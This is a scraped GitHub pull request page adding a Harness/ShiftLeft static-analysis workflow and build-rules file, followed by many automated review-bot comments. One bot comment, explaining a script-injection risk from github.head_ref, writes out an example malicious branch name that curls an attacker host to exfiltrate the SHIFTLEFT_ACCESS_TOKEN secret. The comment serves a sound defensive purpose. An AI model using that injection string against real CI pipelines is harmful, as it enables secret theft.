Skip to content

Add GitHub Action: Qwiet AI by Harness Static Analysis - #62

Open
LCSOGthb wants to merge 2 commits into
mainfrom
shiftleft-action-config-1785050590
Open

Add GitHub Action: Qwiet AI by Harness Static Analysis#62
LCSOGthb wants to merge 2 commits into
mainfrom
shiftleft-action-config-1785050590

Conversation

@LCSOGthb

@LCSOGthb LCSOGthb commented Jul 26, 2026

Copy link
Copy Markdown
Owner

Qwiet LogoQwiet Logo

This pull request adds a GitHub Action workflow file that executes Harness Static Application Security Testing (SAST) on this PR. Once merged, it will also execute SAST on all future PRs opened in this repository.

Visit app.shiftleft.io to see the security findings for this repository.

We've done a few things on your behalf

  • Created a new branch and opened this pull request
  • Generated a unique secret SHIFTLEFT_ACCESS_TOKEN to allow GitHub Actions in this repository to communicate with the Harness SAST and SCA API
  • Created a GitHub Action that will send this pull request to Harness SAST and SCA for analysis
  • Added a status check that displays the result of the GitHub Action

Questions? Comments? Want to learn more? Get in touch with us or check out our documentation.

Summary by Sourcery

Add a GitHub Actions workflow to run Harness SAST/SCA static analysis on pull requests and manual runs, enforcing baseline security checks via build rules.

New Features:

  • Introduce a Harness SAST and SCA GitHub Actions workflow that analyzes the Games application on each pull request and on workflow dispatch.

Enhancements:

  • Add shiftleft.yml build rules to constrain critical, OSS, container, and reachable vulnerability findings in automated security analysis.

Summary by cubic

Add a GitHub Action to run Harness SAST/SCA on every pull request and on-demand to catch security issues early. Also add baseline build rules to block critical and reachable vulnerabilities.

  • New Features
    • New workflow .github/workflows/shiftleft.yml runs on PRs and workflow_dispatch and posts a status check.
    • Uses actions/checkout@v3, actions/setup-java@v3 (Java 8), downloads the CLI, and runs sl analyze for the "Games" app (JS/TS).
    • Adds shiftleft.yml build rules: no critical findings; allow one oss_vuln or container finding; no reachable oss_vuln.

Written for commit eb3ec0c. Summary will update on new commits.

Review in cubic

@vercel

vercel Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
games Ready Ready Preview, Comment Jul 26, 2026 7:25am

@codesherlock-ai

Copy link
Copy Markdown

💡 Tip

Want to run additional checks on this PR?

  • Comment @codesherlock-ai analyze owasp to trigger an OWASP Top-10 security analysis.
  • Comment @codesherlock-ai analyze cwe_mitre to trigger a CWE-MITRE mapping analysis.
  • Comment @codesherlock-ai analyze cwe_kev to trigger a CWE-KEV (Known Exploited Vulnerabilities) analysis.

@rams-design-review

Copy link
Copy Markdown

Rams skipped this PR — Free reviews one repository at a time, and your active repository is LCSOGthb/hub.

Upgrade to Solo — $39/mo to add this repo, or free the slot by removing Rams from that repo via GitHub app settings.

@semanticdiff-com

semanticdiff-com Bot commented Jul 26, 2026

Copy link
Copy Markdown

Review changes with  SemanticDiff

Changed Files
File Status
  .github/workflows/shiftleft.yml  0% smaller
  shiftleft.yml  0% smaller

@cr-gpt

cr-gpt Bot commented Jul 26, 2026

Copy link
Copy Markdown

Seems you are using me but didn't get OPENAI_API_KEY seted in Variables/Secrets for this repo. you could follow readme for more information

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@gemini-code-assist

Copy link
Copy Markdown

Caution

The consumer version of Gemini Code Assist on GitHub has been sunset. All code review activity has officially ceased.

@sourcery-ai

sourcery-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🧙 Sourcery is reviewing your pull request!


Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@codeant-ai

codeant-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🤖 CodeAnt AI — Review Status

Status Commit Started (UTC) Finished (UTC)
✅ Reviewed your PR eb3ec0c Jul 26, 2026 · 07:23 07:25

@codeant-ai

codeant-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

Thanks for using CodeAnt! 🎉

We're free for open-source projects. if you're enjoying it, help us grow by sharing.

Share on X ·
Reddit ·
LinkedIn

@codereviewbot-ai

codereviewbot-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🤖 Review complete!


🤖 Reviewed by codereviewbot.ai - Catch bugs before your team does.

@codesherlock-ai

codesherlock-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

PR Summary

  • Adds a GitHub Actions workflow to run Harness/ShiftLeft static analysis on pull requests and a ShiftLeft policy file defining build rule thresholds.

File-wise Changes

File Name Summary of Modifications
.github/workflows/shiftleft.yml New workflow that checks out code, sets up Java 8, downloads the ShiftLeft CLI, and runs sl analyze on PRs or manual dispatch; environment variables reference SHIFTLEFT secrets and ShiftLeft hosts.
shiftleft.yml New ShiftLeft configuration file declaring build rules: disallow critical findings, allow a single OSS/container finding, and disallow reachable OSS vulnerabilities.

Impact

  • Introduces CI static analysis that may fail or block PRs based on configured thresholds and requires provisioning the SHIFTLEFT_ACCESS_TOKEN secret; also sends telemetry/API calls to ShiftLeft hosts.

Flow Diagram

+---------------------------------+
| Pull Request or Manual Dispatch |
+---------------------------------+
                │
▼ workflow trigger (on: pull_request / workflow_dispatch)

+---------------------------------------+
| GitHub Actions Runner (ubuntu-latest) |
+---------------------------------------+
                   │
       ▼ step: actions/checkout@v3

+-------------------------------------+
| Checkout code (actions/checkout@v3) |
+-------------------------------------+
                  │
▼ step: actions/setup-java@v3 (Java 8)

+-------------------------------------------+
| Setup Java JDK v8 (actions/setup-java@v3) |
+-------------------------------------------+
                     │
           ▼ step: download sl CLI

+--------------------------------------------------------------------+
| Download ShiftLeft CLI (curl https://cdn.shiftleft.io/download/sl) |
+--------------------------------------------------------------------+
                                  │
                      ▼ step: execute sl analyze

+------------------------------------------------+
| Run: sl analyze --strict --wait (--js -- --ts) |
+------------------------------------------------+
                        │
       ▼ uploads analysis & sends telemetry

+---------------------------------------------------------------------------------+
| ShiftLeft Services (api.shiftleft.io, telemetry.shiftleft.io, www.shiftleft.io) |
+---------------------------------------------------------------------------------+
                                        │
                                        ▼

├─ returns findings ─►
+-----------------------------+
| Analysis Results (findings) |
+-----------------------------+
              │
              ▼

├─ optional: trigger check-analysis ─►
+----------------------------------------------------+
| Optional: sl check-analysis (validate build rules) |
+----------------------------------------------------+
                          │
       ▼ update PR status / block or allow merge

+----------------------------------------------+
| PR Status / CI Result (pass / fail / report) |
+----------------------------------------------+


├─ report findings to PR (informational) ─►

├─ may influence CI status via API/telemetry ─►

+------------------------------------------------------------------------+
| Env & Secrets (SHIFTLEFT_ACCESS_TOKEN, SHIFTLEFT_API_HOST, GRPC hosts) |
+------------------------------------------------------------------------+
                                    │
             ▼ provides SHIFTLEFT_ACCESS_TOKEN & host configs


+------------------------------------------------------------+
| shiftleft.yml (build rules: critical, oss_vuln, container) |
+------------------------------------------------------------+
                              │
      ▼ apply build rules (thresholds & reachable checks)

@coderabbitai

coderabbitai Bot commented Jul 26, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@LCSOGthb, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 59 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro Plus

Run ID: 66d8ba4b-f25a-47fa-88e2-e0d18fecddfa

📥 Commits

Reviewing files that changed from the base of the PR and between d7d2ec8 and eb3ec0c.

📒 Files selected for processing (2)
  • .github/workflows/shiftleft.yml
  • shiftleft.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch shiftleft-action-config-1785050590
✨ Simplify code
  • Create PR with simplified code
  • Commit simplified code in branch shiftleft-action-config-1785050590

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@guardrails

guardrails Bot commented Jul 26, 2026

Copy link
Copy Markdown

⚠️ We detected 9 security issues in this pull request:

Hard-Coded Secrets (1)
Severity Details Docs
Medium Title: SonarQube Docs API Key
uses: SonarSource/sonarqube-scan-action@7006c4492b2e0ee0f816d36501671557c97f5995 # v8.1.0
📚

More info on how to fix Hard-Coded Secrets in General.


Vulnerable Libraries (8)
Severity Details
Informational pkg:npm/@codspeed/vitest-plugin@5.5.0 (t) upgrade to: > 5.5.0
High pkg:npm/wrangler@4.100.0 (t) upgrade to: > 4.100.0
High pkg:npm/eslint@9.39.4 (t) upgrade to: > 9.39.4
High pkg:npm/@tailwindcss/postcss@4.3.0 (t) upgrade to: > 4.3.0
High pkg:npm/@eslint/eslintrc@3.3.5 (t) upgrade to: > 3.3.5
High pkg:npm/eslint-config-next@15.3.4 upgrade to: > 15.3.4
High pkg:npm/vitest@4.1.8 (t) upgrade to: > 4.1.8
N/A pkg:npm/next@15.5.19 (t) upgrade to: 15.5.21,16.2.11

More info on how to fix Vulnerable Libraries in JavaScript.


👉 Go to the dashboard for detailed results.

📥 Happy? Share your feedback with us.

@what-the-diff

what-the-diff Bot commented Jul 26, 2026

Copy link
Copy Markdown

PR Summary

  • Integration of Harness SAST and SCA through GitHub Actions
    A new workflow file has been added that let us incorporate Static Application Security Testing (SAST) and Software Composition Analysis (SCA) with Harness into the current build process. This action would automatically get triggered on new pull requests and can also be manually triggered.

  • Setting up NextGen Static Analysis Job
    We've set up a new job within this workflow. This job checks the repository codes, sets up Java JDK v8, fetches the Harness CLI and performs static analysis using specific access data. Essentially, it helps improve the code security by analyzing it for potential vulnerabilities.

  • Adding new configuration with build rules
    A new configuration file has been created that specifies some rules for building the project. These rules include no allowance for critical security issues in the code. Furthermore, there can only be a maximum of one Open Source Software (OSS) or container issue, and any reachable OSS vulnerabilities are strictly not allowed. This ensures that the code being developed meets set security standards.

@codescene-delta-analysis codescene-delta-analysis Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No application code in the PR — skipped Code Health checks.

See analysis details in CodeScene

Quality Gate Profile: Customizable Safeguards
Install CodeScene MCP: safeguard and uplift AI-generated code. Catch issues early with our IDE extension and CLI tool.

Comment on lines +12 to +60
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3
with:
distribution: zulu
java-version: 8

- name: Download Harness SAST and SCA CLI
run: |
curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl

- name: Static Analysis
run: |
${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \
--js $(pwd) -- --ts
env:
SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
SHIFTLEFT_API_HOST: www.shiftleft.io
SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443

# Build-Rules:
# runs-on: ubuntu-latest
# permissions: write-all
# needs: NextGen-Static-Analysis
# steps:
# - uses: actions/checkout@v3
# - name: Download Harness SAST and SCA CLI
# run: |
# curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl
# - name: Validate Build Rules
# run: |
# ${GITHUB_WORKSPACE}/sl check-analysis --app Games \
# --github-pr-number=${{github.event.number}} \
# --github-pr-user=${{ github.repository_owner }} \
# --github-pr-repo=${{ github.event.repository.name }} \
# --github-token=${{ secrets.GITHUB_TOKEN }}
# env:
# # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
#
# SHIFTLEFT_API_HOST: www.shiftleft.io
# SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
#
@netlify

netlify Bot commented Jul 26, 2026

Copy link
Copy Markdown

Deploy Preview for lsngames ready!

Name Link
🔨 Latest commit eb3ec0c
🔍 Latest deploy log https://app.netlify.com/projects/lsngames/deploys/6a65b5e843abde0008eca040
😎 Deploy Preview https://deploy-preview-62--lsngames.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@deepsource-io

deepsource-io Bot commented Jul 26, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in d7d2ec8...eb3ec0c on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
JavaScript Jul 26, 2026 7:23a.m. Review ↗
Python Jul 26, 2026 7:23a.m. Review ↗
Rust Jul 26, 2026 7:23a.m. Review ↗
Secrets Jul 26, 2026 7:23a.m. Review ↗
Ruby Jul 26, 2026 7:23a.m. Review ↗
Shell Jul 26, 2026 7:23a.m. Review ↗
Scala Jul 26, 2026 7:23a.m. Review ↗
SQL Jul 26, 2026 7:23a.m. Review ↗
Terraform Jul 26, 2026 7:23a.m. Review ↗
Code coverage Jul 26, 2026 7:53a.m. Review ↗
Swift Jul 26, 2026 7:23a.m. Review ↗
C & C++ Jul 26, 2026 7:23a.m. Review ↗
C# Jul 26, 2026 7:23a.m. Review ↗
Ansible Jul 26, 2026 7:23a.m. Review ↗

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

@qltysh

qltysh Bot commented Jul 26, 2026

Copy link
Copy Markdown

❌ 6 blocking issues (6 total)

Tool Category Rule Count
actionlint Lint the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue 2
zizmor Vulnerability overly broad permissions 1
zizmor Vulnerability credential persistence through GitHub Actions artifacts 1
actionlint Lint "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details 1
zizmor Vulnerability code injection via template expansion 1

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
#


Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

overly broad permissions [zizmor:zizmor/excessive-permissions]

NextGen-Static-Analysis:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found 2 issues:

1. credential persistence through GitHub Actions artifacts [zizmor:zizmor/artipacked]


2. the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl

- name: Static Analysis
run: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details [actionlint:expression]

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

code injection via template expansion [zizmor:zizmor/template-injection]

@sonarqubecloud

Copy link
Copy Markdown

Quality Gate Failed Quality Gate failed

Failed conditions
E Security Rating on New Code (required ≥ A)

See analysis details on SonarQube Cloud

Catch issues before they fail your Quality Gate with our IDE extension SonarQube for IDE

@codacy-production

Copy link
Copy Markdown

Not up to standards ⛔

🔴 Issues 2 critical · 1 medium

Alerts:
⚠ 3 issues (≤ 0 issues of at least minor severity)

Results:
3 new issues

Category Results
ErrorProne 1 medium
Security 2 critical

View in Codacy

NEW Get contextual insights on your PRs based on Codacy's metrics, along with PR and Jira context, without leaving GitHub. Enable AI reviewer
TIP This summary will be updated as you push new changes.

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: The workflow will fail or produce untagged results when run manually via workflow_dispatch because github.head_ref will be empty, resulting in an invalid --tag branch= argument.
Severity: MEDIUM

Suggested Fix

Use a fallback value for the branch tag to ensure it is populated for both pull_request and workflow_dispatch triggers. Replace ${{ github.head_ref }} with ${{ github.head_ref || github.ref_name }} to use the branch or tag name when head_ref is not available.

Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.

Location: .github/workflows/shiftleft.yml#L30

Potential issue: The workflow is configured to run on both `pull_request` and
`workflow_dispatch` events. The command on line 30 uses the `github.head_ref` context
variable to set a branch tag. This variable is only populated for `pull_request` events
and is empty when the workflow is triggered manually via `workflow_dispatch`.
Consequently, a manual run will execute the command with an empty branch tag (`--tag
branch=`). Due to the `--strict` flag, this is likely to cause the workflow step to
fail, or at best, will result in analysis findings that are not correctly attributed to
any branch.

Did we get this right? 👍 / 👎 to inform future reviews.

@codspeed-hq

codspeed-hq Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

Merging this PR will not alter performance

✅ 13 untouched benchmarks


Comparing shiftleft-action-config-1785050590 (eb3ec0c) with main (d7d2ec8)

Open in CodSpeed

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@cubic-dev-ai cubic-dev-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

8 issues found across 2 files

Confidence score: 2/5

  • In .github/workflows/shiftleft.yml, the committed content is not a valid GitHub Actions workflow (missing required workflow keys), so GitHub can’t execute it and the intended security gate can be silently bypassed — split Qwiet build rules into their proper config location and keep a valid workflow file under .github/workflows/ that actually runs them.
  • In .github/workflows/shiftleft.yml, using ${{ github.head_ref }} directly inside run: creates a command-injection path from attacker-controlled branch names, which could execute arbitrary shell and expose secrets like scanning tokens — pass the value via environment variables and quote/sanitize before shell use.
  • In .github/workflows/shiftleft.yml, workflow_dispatch leaves github.head_ref empty, so --tag branch= is emitted without a value and can break or misattribute scan metadata — use a fallback such as github.ref_name (or event-based conditionals) when head_ref is unset.
  • In .github/workflows/shiftleft.yml, security posture and maintainability are weaker than needed (permissions not explicitly scoped, deprecated --js, and old actions/setup-java@v3 / actions/checkout@v3), increasing avoidable drift and exposure — pin least-privilege permissions, switch to --jssrc, and upgrade the action versions.
Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name="shiftleft.yml">

<violation number="1" location="shiftleft.yml:1">
P1: This file is placed in `.github/workflows/` but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required `name`, `on`, and `jobs` keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as `./shiftleft.yml` (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.</violation>

<violation number="2" location="shiftleft.yml:3">
P1: Build rules defined in `shiftleft.yml` (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The `Build-Rules` job in `.github/workflows/shiftleft.yml` that runs `sl check-analysis --app Games` against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the `shiftleft.yml` file if enforcement is not intended.</violation>
</file>

<file name=".github/workflows/shiftleft.yml">

<violation number="1" location=".github/workflows/shiftleft.yml:12">
P2: This workflow does not define a `permissions` block, so it inherits the repository's default `GITHUB_TOKEN` permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
```yaml
permissions:
  contents: read
```</violation>

<violation number="2" location=".github/workflows/shiftleft.yml:14">
P3: Using `actions/checkout@v3` is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to `actions/checkout@v4` to pick up security fixes and performance improvements.</violation>

<violation number="3" location=".github/workflows/shiftleft.yml:16">
P3: Using `actions/setup-java@v3` is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.</violation>

<violation number="4" location=".github/workflows/shiftleft.yml:30">
P2: When this workflow is triggered via `workflow_dispatch`, `github.head_ref` is empty (it's only populated for `pull_request` events). This results in `--tag branch=` being passed with no value, which combined with `--strict` will likely cause the step to fail.

Use a fallback: `${{ github.head_ref || github.ref_name }}`</violation>

<violation number="5" location=".github/workflows/shiftleft.yml:30">
P1: Using `${{ github.head_ref }}` directly in a `run:` script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., `; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN`) could execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.

Pass the value through an environment variable instead:
```yaml
env:
  BRANCH: ${{ github.head_ref || github.ref_name }}

Then reference it as $BRANCH in the script.

P2: The `--js` flag is deprecated in the ShiftLeft CLI in favor of `--jssrc`. The new workflow starts with a deprecated flag — replace `--js` with `--jssrc` to use the recommended, actively maintained option. ```

Shadow auto-approve: would not auto-approve because issues were found.

Re-trigger cubic

Comment thread shiftleft.yml
@@ -0,0 +1,15 @@
version: 2

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: This file is placed in .github/workflows/ but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required name, on, and jobs keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as ./shiftleft.yml (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 1:

<comment>This file is placed in `.github/workflows/` but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required `name`, `on`, and `jobs` keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as `./shiftleft.yml` (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.</comment>

<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+  - id: Allow no critical findings
</file context>

Comment thread shiftleft.yml
@@ -0,0 +1,15 @@
version: 2

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Build rules defined in shiftleft.yml (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The Build-Rules job in .github/workflows/shiftleft.yml that runs sl check-analysis --app Games against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the shiftleft.yml file if enforcement is not intended.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 3:

<comment>Build rules defined in `shiftleft.yml` (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The `Build-Rules` job in `.github/workflows/shiftleft.yml` that runs `sl check-analysis --app Games` against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the `shiftleft.yml` file if enforcement is not intended.</comment>

<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+  - id: Allow no critical findings
+    severities:
+      - critical
</file context>

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Using ${{ github.head_ref }} directly in a run: script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., ; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN) could execute arbitrary commands with access to the SHIFTLEFT_ACCESS_TOKEN secret.

Pass the value through an environment variable instead:

env:
  BRANCH: ${{ github.head_ref || github.ref_name }}

Then reference it as $BRANCH in the script.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:

<comment>Using `${{ github.head_ref }}` directly in a `run:` script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., `; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN`) could execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.

Pass the value through an environment variable instead:
```yaml
env:
  BRANCH: ${{ github.head_ref || github.ref_name }}

Then reference it as $BRANCH in the script.

@@ -0,0 +1,62 @@ + ${GITHUB_WORKSPACE}/sl --version + ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ + --app Games \ + --tag branch=${{ github.head_ref }} \ + --js $(pwd) -- --ts + env: ```

${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \
--js $(pwd) -- --ts

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: The --js flag is deprecated in the ShiftLeft CLI in favor of --jssrc. The new workflow starts with a deprecated flag — replace --js with --jssrc to use the recommended, actively maintained option.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 31:

<comment>The `--js` flag is deprecated in the ShiftLeft CLI in favor of `--jssrc`. The new workflow starts with a deprecated flag — replace `--js` with `--jssrc` to use the recommended, actively maintained option.</comment>

<file context>
@@ -0,0 +1,62 @@
+        ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+          --app Games \
+          --tag branch=${{ github.head_ref }} \
+          --js $(pwd) -- --ts
+      env:
+        SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
</file context>


jobs:
NextGen-Static-Analysis:
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: This workflow does not define a permissions block, so it inherits the repository's default GITHUB_TOKEN permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:

permissions:
  contents: read
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 12:

<comment>This workflow does not define a `permissions` block, so it inherits the repository's default `GITHUB_TOKEN` permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
```yaml
permissions:
  contents: read
```</comment>

<file context>
@@ -0,0 +1,62 @@
+
+jobs:
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
</file context>

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

